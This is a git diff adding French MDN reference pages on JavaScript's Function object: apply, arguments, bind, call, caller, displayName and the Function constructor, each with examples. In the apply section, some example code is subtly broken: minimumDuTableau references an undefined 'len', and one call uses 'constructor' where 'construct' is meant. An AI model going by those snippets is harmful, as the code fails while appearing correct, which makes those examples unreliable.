On peut aussi passer {{jsxref("Fonctions/arguments", "arguments ")}} en tant que paramètre argsArray. arguments étant une variable locale à la fonction. Celle-ci peut également être utilisée pour tous les arguments non spécifiés de l'objet appelé. Ainsi, il n'est pas nécessaire de connaître les arguments de l'objet appelé lors d'un appel à la méthode apply. arguments peut être utilisé pour passer tous les arguments à l'objet appelé. L'objet appelé gèrera alors la manipulation des arguments.

+ +

Depuis la cinquième édition d'ECMAScript, il est possible d'utiliser des objet semblables à des tableaux à la place. En pratique tout objet possédant une propriété length et une propriété entière comprise entre [0..length[ est un objet semblable à un tableau. On peut ainsi, par exemple, utiliser un objet {{domxref("NodeList")}} ou un objet quelconque comme {'length': 2, '0': 'manger', '1': 'bananes'}.

+ +
+

Note : Beaucoup de navigateurs, y compris Chrome 14 et Internet Explorer 9 n'acceptent pas encore un objet semblable à un tableau, ils déclencheront un exception.

+
+ +

Exemples

+ +

Utiliser apply pour chaîner des constructeurs

+ +

Il est possible d'utiliser apply afin de chaîner les {{jsxref("Opérateurs/L_opérateur_new", "constructeurs","",1)}} d'un objet, de façon sembable au chaînage utilisé en java. Dans l'exemple suivant, on crée une {{jsxref("Function")}} globale appelée construct, qui permet d'utiliser un objet de type Array associé à un constructeur au lieu d'une liste d'arguments.

+ +
Function.prototype.construct = function (aArgs) {
+  var nouvelObjet = Object.create(this.prototype);
+  this.apply(nouvelObjet, aArgs);
+  return nouvelObjet;
+};
+
+ +
+

Note : La méthode {{jsxref("Object.create()")}} utilisée ci-avant est relativement nouvelle. Pour une autre méthode qui utilise les closure, on pourra utiliser :

+ +
Function.prototype.construct = function(aArgs) {
+  var fConstructeur = this, fNouveauConstructeur = function() {
+    fConstructeur.apply(this, aArgs);
+  };
+  fNouveauConstructeur.prototype = fConstructeur.prototype;
+  return new fNouveauConstructeur();
+};
+
+ +

Exemple d'utilisation :

+ +
function MonConstructeur () {
+    for (var nProp = 0; nProp < arguments.length; nProp++) {
+        this["propriété" + nProp] = arguments[nProp];
+    }
+}
+
+var monTableau = [4, "Coucou monde !", false];
+var monInstance = MonConstructeur.constructor(monTableau);
+
+console.log(monInstance.propriété1); // "Coucou monde !"
+console.log(monInstance instanceof MonConstructeur); // "true"
+console.log(monInstance.constructor); // "MonConstructeur"
+
+ +
+

Note : On pourrait également utiliser {{jsxref("Object/__proto__", "Object.__proto__")}}

+ +
Function.prototype.construct = function (aArgs) {
+  var oNew = {};
+  oNew.__proto__ = this.prototype;
+  this.apply(oNew, aArgs);
+  return oNew;
+};
+
+ +

ou encore le constructeur {{jsxref("Function")}} :

+ +
Function.prototype.construct = function (aArgs) {
+  var fNewConstr = new Function("");
+  fNewConstr.prototype = this.prototype;
+  var oNew = new fNewConstr();
+  this.apply(oNew, aArgs);
+  return oNew;
+};
+
+
+ +
Note : Attention, cette méthode non-native Function.construct ne fonctionnera pas avec certains contructeurs natifs (tels que {{jsxref("Date", "Date")}}). Dans ce cas précis, on peut utiliser la méthode {{jsxref("Function.bind")}} (pour exemple, si on prend le tableau suivant [2012, 11, 4] utilisé sur le constructeur de l'objet Date : on peut écrire ceci : new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))() – cependant cela reste une pratique à éviter si possible et à ne pas utiliser en dans un environnement de production).
+ +

Utiliser apply et des fonctions natives

+ +

Un usage singulier de apply permet d'appeler des fonctions natives pour réaliser par exemple des tâches qui autrement auraient nécessité une boucle sur toutes les valeurs d'un tableau. Pour illustrer ce concept, on prend l'exemple de Math.max/Math.min qui permettent d'extraire la valeur maximum/minimale de notre tableau.

+ +
/* min/max tableau de nombres */
+var nombres = [5, 6, 2, 3, 7];
+
+/* usage de Math.min/Math.max et de la méthode apply */
+var max = Math.max.apply(null, nombres);
+/* Equivalent à Math.max(nombres[0], ...)
+  ou Math.max(5, 6, ..) */
+
+var min = Math.min.apply(null, nombres);
+
+/* vs. algorithme trivial avec une boucle */
+max = -Infinity, min = +Infinity;
+
+for (var i = 0; i < nombres.length; i++) {
+  if (nombres[i] > max)
+    max = nombres[i];
+  if (nombres[i] < min)
+    min = nombres[i];
+}
+ +

Note : l'utilisation de apply peut provoquer l'atteinte du seuil limite du nombres d'arguments supporté par le moteur Javascript. Les conséquences de cette utilisation abusive (on évoque plus de 10000 arguments) peuvent varier selon les moteurs Javascript (JavaScript contient une limite en dur de 65536), car une liberté subsiste quant à l'implémentation du moteur. Des moteurs lèveront une exception si le seuil est atteint. Il est donc préférable d'apporter une attention toute particulière au nombre d'arguments passés. (Illustrerons ce cas dans l'exemple suivant avec un moteur factice capable de ne gérer que 4 arguments au maximum (les limites natives sont, bien sûr, plus élevées), et reprenons les arguments de l'exemple précédent 5, 6, 2, 3 passés à la méthode apply plutôt que notre tableau entier.) Imaginons que notre tableau soit progressivement peuplé de milliers d'éléments, une stratégie spécifique devra être appliquée, par exemple en appliquant la méthode apply sur des portions du tableau:

+ +
function minimumDuTableau(tab) {
+  var min = Infinity;
+  var QUANTUM = 32768;
+
+  for (var i = 0, longueur = tab.length; i < len; i += QUANTUM) {
+    var submin = Math.min.apply(null,
+                                tab.slice(i, Math.min(i + QUANTUM, longueur)));
+    min = Math.min(submin, min);
+  }
+
+  return min;
+}
+
+var min = minimumDuTableau([5, 6, 2, 3, 7]);
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.3.4.3', 'Function.prototype.apply')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-function.prototype.apply', 'Function.prototype.apply')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-function.prototype.apply', 'Function.prototype.apply')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Function.apply")}}

+ +

Voir aussi

+ +
    +
  • L'objet {{jsxref("Fonctions/arguments", "arguments")}}
    • +
  • {{jsxref("Function.prototype.bind()")}}
    • +
  • {{jsxref("Function.prototype.call()")}}
    • +
  • {{jsxref("Fonctions", "Les fonctions et portées de fonctions", "", 1)}}
    • +
  • {{jsxref("Reflect.apply()")}}
    • +
  • La syntaxe de décomposition permettant d'exploser un tableau
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/function/arguments/index.html b/files/fr/web/javascript/reference/global_objects/function/arguments/index.html new file mode 100644 index 0000000000..13bfc16dd3 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/function/arguments/index.html @@ -0,0 +1,91 @@ +--- +title: Function.arguments +slug: Web/JavaScript/Reference/Objets_globaux/Function/arguments +tags: + - Déprécié + - Function + - JavaScript + - Propriété + - Reference + - arguments +translation_of: Web/JavaScript/Reference/Global_Objects/Function/arguments +--- +
{{JSRef}} {{Deprecated_header}}
+ +

La propriété function.arguments fait référence à un objet dont la structure est semblable à celle d'un tableau dont les éléments correspondent aux arguments passés à une fonction. En lieu et place, il faut désormais utiliser {{jsxref("Fonctions/arguments", "arguments")}}. Cette propriété est interdite en mode stricte à cause de l'optimisation de la queue des appels (tail call optimization).

+ +

Description

+ +

La syntaxe function.arguments est obsolète.  La méthode recommandée pour accéder à l'objet {{jsxref("Fonctions/arguments", "arguments")}} disponible au sein des fonctions est simplement de faire référence à la variable {{jsxref("Fonctions/arguments", "arguments")}}.

+ +

Si on utilise la récursivité (autrement dit si une fonction f apparaît plusieurs fois dans la pile d'appels ou encore qu'une fonction f s'appelle elle-même), la valeur de f.arguments représentera les arguments correspondant à l'appel le plus « récent » de la fonction.

+ +

La valeur de la propriété arguments est normalement null si la fonction n'est pas « en cours » (au sens où elle aurait été appelée et qu'elle n'ait pas fini son exécution).

+ +

Exemples

+ +
function f(n) { g(n-1); }
+
+function g(n) {
+  console.log("avant : " + g.arguments[0]);
+  if(n>0) f(n);
+  console.log("après : " + g.arguments[0]);
+}
+
+f(2);
+
+console.log("fonction terminée : " + g.arguments);
+
+// On aura l'affichage de :
+
+// avant : 1
+// avant : 0
+// après : 0
+// après : 1
+// fonction terminée : null
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0. Dépréciée pour être remplacée par {{jsxref("Fonctions/arguments", "arguments")}} décrit par ES3.
{{SpecName('ES5.1', '#sec-10.6', 'arguments object')}}{{Spec2('ES5.1')}}Objet {{jsxref("Fonctions/arguments", "arguments")}}
{{SpecName('ES6', '#sec-arguments-object', 'arguments object')}}{{Spec2('ES6')}}Objet {{jsxref("Fonctions/arguments", "arguments")}}
{{SpecName('ESDraft', '#sec-arguments-object', 'arguments object')}}{{Spec2('ESDraft')}}Objet {{jsxref("Fonctions/arguments", "arguments")}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Function.arguments")}}

+ +

Voir aussi

+ +
    +
  • L'objet {{jsxref("Fonctions/arguments", "arguments")}}
    • +
  • {{jsxref("Fonctions", "Les fonctions et les portées de fonctions", "", 1)}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/function/bind/index.html b/files/fr/web/javascript/reference/global_objects/function/bind/index.html new file mode 100644 index 0000000000..dd214fe306 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/function/bind/index.html @@ -0,0 +1,250 @@ +--- +title: Function.prototype.bind() +slug: Web/JavaScript/Reference/Objets_globaux/Function/bind +tags: + - ECMAScript 2015 + - ECMAScript 5 + - Function + - JavaScript + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind +--- +
{{JSRef}}
+ +

La méthode bind() crée une nouvelle fonction qui, lorsqu'elle est appelée, a pour contexte this la valeur passée en paramètre et éventuellement une suite d'arguments qui précéderont ceux fournis à l'appel de la fonction créée.

+ +
{{EmbedInteractiveExample("pages/js/function-bind.html", "taller")}}
+ + + +

Syntaxe

+ +
let boundFunc = func.bind(thisArg[, arg1[, arg2[, ...]]])
+ +

Paramètres

+ +
+
thisArg
+
La valeur que l'on doit passer est le paramètre this de la fonction cible func quand la fonction est appelée. La valeur est ignorée si la fonction liée est construite en utilisant l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Lorsque vous utilisez bind pour créer une fonction (fournie comme un rappel) dans un setTimeout, toute valeur primitive passée comme thisArg est convertie en objet. Si aucun argument n'est fourni dans bind, le this de cette fonction est traité comme le thisArg de la nouvelle fonction.
+
arg1, arg2, ... {{optional_inline}}
+
Arguments à faire précéder aux arguments fournis à la fonction liée lors de l'invocation de func.
+
+ +

Valeur de retour

+ +

Une copie de la fonction fournie avec la valeur this indiquée et les arguments initiaux fournis.

+ +

Description

+ +

La fonction bind() crée une nouvelle fonction liée, qui est un objet de fonction exotique (un terme de l'ECMAScript 2015) qui enveloppe l'objet de fonction original. L'appel de la fonction liée entraîne généralement l'exécution de sa fonction enveloppée.

+ +

Une fonction liée possède les propriétés internes suivantes :

+ +
+
[[BoundTargetFunction]]
+
L'objet de fonction enveloppé
+
[[BoundThis]]
+
La valeur qui est toujours transmise est la valeur this lors de l'appel de la fonction enveloppée.
+
[[BoundArguments]]
+
Une liste de valeurs dont les éléments sont utilisés comme premiers arguments pour tout appel à la fonction enveloppée.
+
[[Call]]
+
Exécute le code associé à cet objet. Invoqué par une expression d'appel de fonction. Les arguments de la méthode interne sont constitués d'une valeur this et d'une liste contenant les arguments passés à la fonction par une expression d'appel.
+
+ +

Lorsqu'une fonction liée est appelée, elle appelle la méthode interne [[Call]] dans [[BoundTargetFunction]], avec les arguments suivants Call(boundThis, ...args). Là où boundThis est [[BoundThis]], args est [[BoundArguments]], suivi des arguments passés par l'appel de fonction.

+ +

Une fonction liée peut également être construite à l'aide de l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Ce faisant, on agit comme si la fonction cible avait été construite. La valeur fournie this est ignorée, tandis que des arguments préparés sont fournis à la fonction émulée.

+ +

Exemples

+ +

Créer une fonction liée

+ +

La façon la plus simple d'utiliser bind()est de faire une fonction qui, peu importe la façon dont elle est appellée, le sera avec une certaine valeur this donnée.

+ +

Une erreur courante lorsqu'on débute en JavaScript est d'extraire une méthode d'un objet, puis plus tard d'appeler cette méthode depuis un objet et de s'attendre à utiliser l'objet original en tant que valeur de this (par exemple en utilisant cette méthode dans un callback). Sans précaution, cependant, l'objet original est perdu. Créer une fonction liée depuis la méthode, en utilisant l'objet original, résout simplement le problème :

+ +
this.x = 9; // en dehors de tout contexte,
+            // pour un navigateur, this est
+            // l'objet window
+var module = {
+  x: 81,
+  getX: function() { return this.x; }
+};
+
+module.getX(); // 81
+
+var getX = module.getX;
+getX(); // 9, car ici, this fait référence à l'objet global
+
+// On crée une nouvelle fonction à laquelle on lie module en
+// tant que 'this'
+var boundGetX = getX.bind(module);
+boundGetX(); // 81
+
+ +

Fonctions partiellement appliquées

+ +

Dans l'exemple suivant, on utilise bind() afin de créer une fonction avec des arguments initiaux prédéfinis. Ces arguments, s'il y en a, suivent le this fourni et sont ensuite insérés au début des arguments passés à la fonction cible, suivis par les arguments passés à la fonction liée au moment où celle-ci est appelée.

+ +
function list() {
+  return Array.prototype.slice.call(arguments);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+
+// Créer une fonction avec un argument prédéfini
+var leadingThirtysevenList = list.bind(null, 37);
+
+var list2 = leadingThirtysevenList(); // [37]
+var list3 = leadingThirtysevenList(1, 2, 3); // [37, 1, 2, 3]
+
+
+function sommeArguments(arg1, arg2){
+  return arg1 + arg2;
+}
+
+var ajouter37 = sommeArguments.bind(null, 37);
+
+var resultat = ajouter37(5); // 37 + 5 = 42
+
+ +

Utiliser bind avec setTimeout

+ +

Par défaut à l'intérieur de {{domxref("window.setTimeout()")}}, le mot-clé this sera attribué à l'objet {{domxref("window")}} (ou l'objet global). Lorsqu'on travaille avec des méthodes de classe utilisant this qui se réfère à l'instance, on peut lier this de façon explicite afin d'être certain de manipuler l'instance.

+ +
function Fleur() {
+  this.nbPétales = Math.floor( Math.random() * 12 ) + 1;
+}
+
+// On déclare floraison après un délai d'une seconde
+Fleur.prototype.floraison = function() {
+  window.setTimeout( this.declare.bind( this ), 1000 );
+};
+
+Fleur.prototype.declare = function() {
+  console.log('Je suis une fleur avec ' +
+     this.nbPétales + ' pétales !');
+};
+
+var fleur = new Fleur();
+fleur.floraison();
+// Après environ 1 seconde, on déclenche la méthode declare
+
+ +

Les fonctions liées utilisées en tant que constructeurs

+ +
+

Attention : Cette section illustre des capacités marginales et des cas aux limites concernant l'usage de la méthode bind(). Les méthodes montrées ci-après ne sont pas les façons les plus propres de faire les choses et ne devraient pas être utilisées en production.

+
+ +

Les fonctions liées sont automatiquement disponibles à l'usage pour toutes les instances initialisées avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}} sur la fonction cible. Quand une fonction liée est utilisée pour construire une valeur, le this fourni est ignoré. Cependant, les arguments fournis sont toujours préremplis lors de l'appel au constructeur :

+ +
function Point(x, y) {
+  this.x = x;
+  this.y = y;
+}
+
+Point.prototype.toString = function() {
+  return this.x + "," + this.y;
+};
+
+var p = new Point(1, 2);
+p.toString(); // "1,2"
+
+
+var emptyObj = {};
+var YAxisPoint = Point.bind(emptyObj, 0 /* x */);
+// non supporté dans le polyfill ci dessous,
+// fonctionne avec le bind natif :
+var YAxisPoint = Point.bind(null,0 /* x */);
+
+var axisPoint = new YAxisPoint(5);
+axisPoint.toString(); //  "0,5"
+
+axisPoint instanceof Point; // true
+axisPoint instanceof YAxisPoint; // true
+new Point(17, 42) instanceof YAxisPoint; // false
+
+ +

On notera qu'il n'y a rien à faire de particulier pour pouvoir utiliser {{jsxref("Opérateurs/L_opérateur_new", "new")}} sur votre fonction liée. Le corollaire est qu'il n'y a rien à faire de plus pour créer une fonction liée qui soit appelée sans préfixe, même s'il est préférable d'appeler une fonction liée uniquement avec le mot-clé {{jsxref("Opérateurs/L_opérateur_new", "new")}}.

+ +
// Cet exemple fonctionne dans votre console JavaScript
+// ...(sous réserve d'avoir utilisé le code précédent)
+
+// Peut toujours être appelé comme une fonction normale
+// (même si ce n'est généralement pas l'effet )
+YAxisPoint(13);
+
+emptyObj.x + "," + emptyObj.y; // "0,13"
+
+ +

Si on souhaite supporter le cas où la fonction liée  d'une fonction liée en utilisant seulement new, ou juste en l'appellant, la fonction cible doit outrepasser cette restriction.

+ +

Créer des raccourcis

+ +
+

bind() est également utile dans les cas où on souhaite créer un raccourci vers une fonction qui requiert un this ayant une certaine valeur.

+ +

Si, par exemple, on considère la fonction {{jsxref("Array.prototype.slice")}} et qu'on souhaite l'utiliser pour convertir un objet semblable à un tableau en un objet array, on peut créer un raccourci de cette façon :

+ +
var slice = Array.prototype.slice;
+
+// ... un peu plus loin
+
+slice.apply(arguments);
+ +

Avec bind(), il est possible de simplifier cela. Dans l'exemple qui suit slice est une fonction liée à la fonction {{jsxref("Function.prototype.apply()", "apply()")}} de Function.prototype, et this défini en tant que fonction {{jsxref("Array.prototype.slice()", "slice()")}} de {{jsxref("Array.prototype")}}. Cela signifie que les appels à la méthode apply() peuvent être éliminés :

+ +
// pareil que "slice" dans l'exemple précédent
+var unboundSlice = Array.prototype.slice;
+var slice = Function.prototype.apply.bind(unboundSlice);
+
+// ...
+
+slice(arguments);
+
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.3.4.5', 'Function.prototype.bind')}}{{Spec2('ES5.1')}}Définition initiale.
+ Implémentée avec JavaScript 1.8.5
{{SpecName('ES2015', '#sec-function.prototype.apply', 'Function.prototype.bind')}}{{Spec2('ES2015')}}
{{SpecName('ESDraft', '#sec-function.prototype.bind', 'Function.prototype.bind')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Function.bind")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Function.prototype.apply()")}}
    • +
  • {{jsxref("Function.prototype.call()")}}
    • +
  • {{jsxref("Fonctions", "Fonctions et portées de fonctions", "", 1)}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/function/call/index.html b/files/fr/web/javascript/reference/global_objects/function/call/index.html new file mode 100644 index 0000000000..b419b7eca6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/function/call/index.html @@ -0,0 +1,177 @@ +--- +title: Function.prototype.call() +slug: Web/JavaScript/Reference/Objets_globaux/Function/call +tags: + - Function + - JavaScript + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Function/call +--- +
{{JSRef}}
+ +

La méthode call() réalise un appel à une fonction avec une valeur this donnée et des arguments fournis individuellement.

+ +
Note : Bien que la syntaxe de cette fonction ressemble à celle de {{jsxref("Function.apply", "apply()")}}, la différence fondamentale réside dans le fait que call() accepte une liste d'arguments, tandis que la méthode apply() accepte un unique tableau d'arguments.
+ +
{{EmbedInteractiveExample("pages/js/function-call.html")}}
+ + + +

Syntaxe

+ +
fun.call(thisArg[, arg1[, arg2[, ...]]])
+ +

Paramètres

+ +
+
thisArg
+
La valeur this fournie pour l'appel de la fonction fun. La valeur peut être différente de celle normalement perçue par la méthode : si la méthode est une fonction utilisée dans un code en {{jsxref("Fonctions/Strict_mode", "mode non-strict", "", 1)}}, {{jsxref("null")}} and {{jsxref("undefined")}} seront remplacés par l'objet global et les valeurs primitives seront encapsulées en objets.
+
arg1, arg2, ...
+
Les arguments pour la fonction.
+
+ +

Valeur de retour

+ +

Le résultat de l'appel de la fonction invoquée avec la valeur this indiquée et les arguments fournis.

+ +

Description

+ +

La méthode call() permet d'appeler une fonction rattachée à un objet donné sur un autre objet.

+ +

Il est possible d'affecter un objet this différent lors de l'appel à une fonction existante. En général, this fait référence à l'objet courant, celui sur lequel est appelée la méthode. Avec call, on peut écrire une méthode une seule fois et ensuite en hériter dans un autre objet, sans avoir à réécrire cette méthode pour ce nouvel objet.

+ +

Exemples

+ +

Utiliser call() pour chaîner le constructeur d'un objet.

+ +

Il est possible d'utiliser call pour chaîner le constructeur d'un objet, de façon similaire à Java. Dans l'exemple suivant, le constructeur de l'objet Product est défini avec deux paramètres, name et price. Deux autres fonctions, Food et Toy invoquent Product en passant this, name et price. Product initialise les propriétés name et price, tandis que les fonctions spécialisées définissent la propriété category.

+ +
function Product(name, price) {
+  this.name = name;
+  this.price = price;
+}
+
+function Food(name, price) {
+  Product.call(this, name, price);
+  this.category = 'food';
+}
+
+function Toy(name, price) {
+  Product.call(this, name, price);
+  this.category = 'toy';
+}
+
+var cheese = new Food('feta', 5);
+var fun = new Toy('robot', 40);
+
+ +

Utiliser call() pour invoquer une fonction anonyme

+ +

Dans cet exemple (purement inventé), on crée une fonction anonyme et on utilise call pour l'invoquer sur chaque objet d'un tableau. Le principal but de cette fonction anonyme est d'ajouter une fonction print sur chaque élément qui permet d'afficher l'index de l'objet. Le passage de l'objet en tant que valeur this n'était pas nécessaire, mais il permet d'expliquer le sujet.

+ +
var animaux = [
+  {espece: 'Lion', nom: 'Roi'},
+  {espece: 'Éléphant', nom: 'Dumbo'}
+];
+
+for (var i = 0; i < animaux.length; i++) {
+  (function (i) {
+    this.print = function () {
+      console.log('#' + i  + ' ' + this.espece + ' : ' + this.nom);
+    }
+    this.print();
+  }).call(animaux[i], i);
+}
+
+ +

Utiliser call() pour appeler une fonction avec un objet pour this

+ +

Dans l'exemple qui suit, on utilise la méthode call() sur la fonction saluer() afin de l'appliquer à l'objet personne1 :

+ +
function saluer() {
+  var reponse = [this.nom, "est un", this.role, "."].join(" ");
+  console.log(reponse);
+}
+
+var personne1 = {
+  nom: "Sénèque",
+  role: "philosophe"
+};
+
+saluer.call(personne1); // Sénèque est un philosophe.
+
+ +

Utiliser call() pour appeler une fonction sans indiquer de premier argument

+ +

Dans l'exemple qui suit, on appelle la fonction afficher() sans lui passer d'argument. C'est donc l'objet global qui est utilisé comme contexte :

+ +
var prenom = 'Archibald';
+
+function afficher() {
+  console.log('prenom vaut ' + this.prenom);
+}
+
+afficher.call(); // prenom est Archibald
+ +
+

Note : La valeur de this sera {{jsxref("undefined")}} en mode strict.

+ +
'use strict';
+
+var prenom = 'Archibald';
+
+function afficher() {
+  console.log('prenom vaut ' + this.prenom);
+}
+
+afficher.call(); // Cannot read the property prenom' of undefined
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.3.4.4', 'Function.prototype.call')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-function.prototype.call', 'Function.prototype.call')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-function.prototype.call', 'Function.prototype.call')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Function.call")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/function/caller/index.html b/files/fr/web/javascript/reference/global_objects/function/caller/index.html new file mode 100644 index 0000000000..9956ad14ee --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/function/caller/index.html @@ -0,0 +1,83 @@ +--- +title: Function.caller +slug: Web/JavaScript/Reference/Objets_globaux/Function/caller +tags: + - Function + - JavaScript + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Function/caller +--- +
{{JSRef}} {{non-standard_header}}
+ +

La propriété function.caller renvoie la fonction qui a appelé la fonction donnée. Cette propriété est interdite en mode strict.

+ +

Description

+ +

Si la fonction f a été invoquée par du code situé au plus haut niveau, la valeur de f.caller sera {{jsxref("null")}}, sinon, ce sera la fonction qui a appelé f.

+ +

Cette propriété remplace la propriété obsolète {{jsxref("Fonctions/arguments/caller", "arguments.caller")}} de l'objet {{jsxref("Fonctions/arguments", "arguments")}}.

+ +

La propriété spéciale __caller__ qui renvoyait l'objet qui dans lequel était fait l'appel a été supprimée pour des raisons de sécurités.

+ +

Notes

+ +

Dans une fonction récursive, cette propriété ne peut pas être utilisée pour reconstituer la pile d'appels (call stack). Par exemple, si on a :

+ +
function f(n) { g(n - 1); }
+function g(n) { if (n > 0) { f(n); } else { stop(); } }
+f(2);
+
+ +

Au moment où stop() est appelé, la pile sera :

+ +
f(2) -> g(1) -> f(1) -> g(0) -> stop()
+
+ +

Et ceci est vrai :

+ +
stop.caller === g && f.caller === g && g.caller === f
+
+ +

Donc si on essaie d'obtenir la pile de cette façon :

+ +
var f = stop;
+var stack = 'Stack trace:';
+while (f) {
+  stack += '\n' + f.name;
+  f = f.caller;
+}
+
+ +

la boucle ne s'arrêterait jamais.

+ +

Exemples

+ +

Vérifier la valeur de la propriété caller

+ +

Dans l'exemple suivant, on verifie la propriété caller de la fonction.

+ +
function maFonction() {
+  if (maFonction.caller == null) {
+    return 'Fonction appelée au plus haut niveau !';
+  } else {
+    return 'Fonction appelée par ' + maFonction.caller;
+  }
+}
+
+ +

Spécifications

+ +

Ne fait partie d'aucune spécification. Implémentée avec JavaScript 1.5.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Function.caller")}}

+ +

Voir aussi

+ +
    +
  • Le bug d'implémentation pour SpiderMonkey {{bug(65683)}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/function/displayname/index.html b/files/fr/web/javascript/reference/global_objects/function/displayname/index.html new file mode 100644 index 0000000000..dc9f7fc870 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/function/displayname/index.html @@ -0,0 +1,81 @@ +--- +title: Function.displayName +slug: Web/JavaScript/Reference/Objets_globaux/Function/displayName +tags: + - Function + - JavaScript + - Non-standard + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Function/displayName +--- +
{{JSRef}} {{Non-standard_header}}
+ +

La propriété function.displayName renvoie le nom affiché de la fonction.

+ +

Description

+ +

Lorsque la propriété displayName est définie, elle renvoie le nom affiché de la fonction :

+ +
function faireTruc() { }
+
+console.log(faireTruc.displayName); // "undefined"
+
+var logMessage = function(contenu) { console.log(contenu) };
+
+logMessage.displayName = 'Afficher les messages dans le journal';
+
+console.log(logMessage.displayName); // "Afficher les messages dans le journal"
+
+ +

Il est possible de définir une fonction avec un nom d'affichage grâce à une {{jsxref("Fonctions", "expression de fonctions","",1)}}:

+ +
var objet = {
+  uneMéthode: function () {}
+};
+
+objet.uneMéthode.displayName = 'uneMéthode';
+
+console.log(objet.uneMéthode.displayName);
+// "uneMéthode"
+
+try { uneMéthode } catch(e) { console.log(e); }
+// ReferenceError: uneMéthode is not defined
+
+ +

La propriété displayName peut être changée dynamiquement :

+ +
var objet = {
+  // anonyme
+  uneMéthode: function(valeur) {
+    this.displayName = "uneMéthode (" + valeur + ")";
+  }
+};
+
+console.log(objet.uneMéthode.displayName); // "undefined"
+
+objet.uneMéthode("123")
+console.log(objet.uneMéthode.displayName); // "uneMéthode (123)"
+
+ +

Exemples

+ +

On souhaite généralement utiliser cette propriété dans les consoles et profileurs plutôt que {{jsxref("Function.name", "func.name")}}

+ +

Le code suivant devrait afficher quelque chose comme "function Ma Fonction()":

+ +
var a = function () { };
+a.displayName = 'Ma Fonction';
+
+a;
+
+ +

Spécifications

+ +

N'appartient à aucune spécification.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Function.displayName")}}

diff --git a/files/fr/web/javascript/reference/global_objects/function/index.html b/files/fr/web/javascript/reference/global_objects/function/index.html new file mode 100644 index 0000000000..01c2a34869 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/function/index.html @@ -0,0 +1,153 @@ +--- +title: Function +slug: Web/JavaScript/Reference/Objets_globaux/Function +tags: + - Constructor + - Function + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Function +--- +
{{JSRef}}
+ +

Le constructeur Function crée un nouvel objet Function. En JavaScript, chaque fonction est un objet Function.

+ +

Appeler ce constructeur permet de créer des fonctions dynamiquement mais cette méthode souffre de défauts équivalents à {{jsxref("eval")}} en termes de sécurité et de performance. Toutefois, à la différence d'eval, le constructeur Function permet d'exécuter du code dans la portée globale.

+ +
{{EmbedInteractiveExample("pages/js/function-constructor.html")}}
+ + + +

Syntaxe

+ +
new Function ([arg1[, arg2[, ...argN]],] corpsFonction)
+ +

Paramètres

+ +
+
arg1, arg2, ... argN
+
Les noms utilisés par la fonction pour les arguments formellement déclarés. Chacun doit être une chaîne de caractères correspondant à un identifiant JavaScript valide (ou une liste de telles chaînes séparées par des virgules). Par exemple : "x", "uneValeur", ou "a,b".
+
corpsFonction
+
Une chaîne de caractères qui contient les instructions JavaScript définissant la fonction.
+
+ +

Description

+ +

Les objets Function créés avec le constructeur Function sont analysés quand la fonction est créée. Ceci est moins efficace que de déclarer une fonction grâce à une {{jsxref("Opérateurs/L_opérateur_function","expression de fonction","",1)}} ou à une instruction {{jsxref("Instructions/function","function")}} car celles crées de cette façon sont analysées avec le reste du code.

+ +

Tous les arguments passés à la fonction seront traités avec les noms des identifiants des paramètres de la fonction à créer, dans le même ordre dans lequel ils ont été passés. Si un argument n'est pas passé, la valeur du paramètre dans la fonction sera {{jsxref("undefined")}}.

+ +

Appeler le constructeur Function comme une fonction (c'est-à-dire sans utiliser l'opérateur {{jsxref("Opérateurs/L_opérateur_new","new")}}) a le même effet que quand il est appelé comme constructeur.

+ +

Propriétés et méthodes de Function

+ +

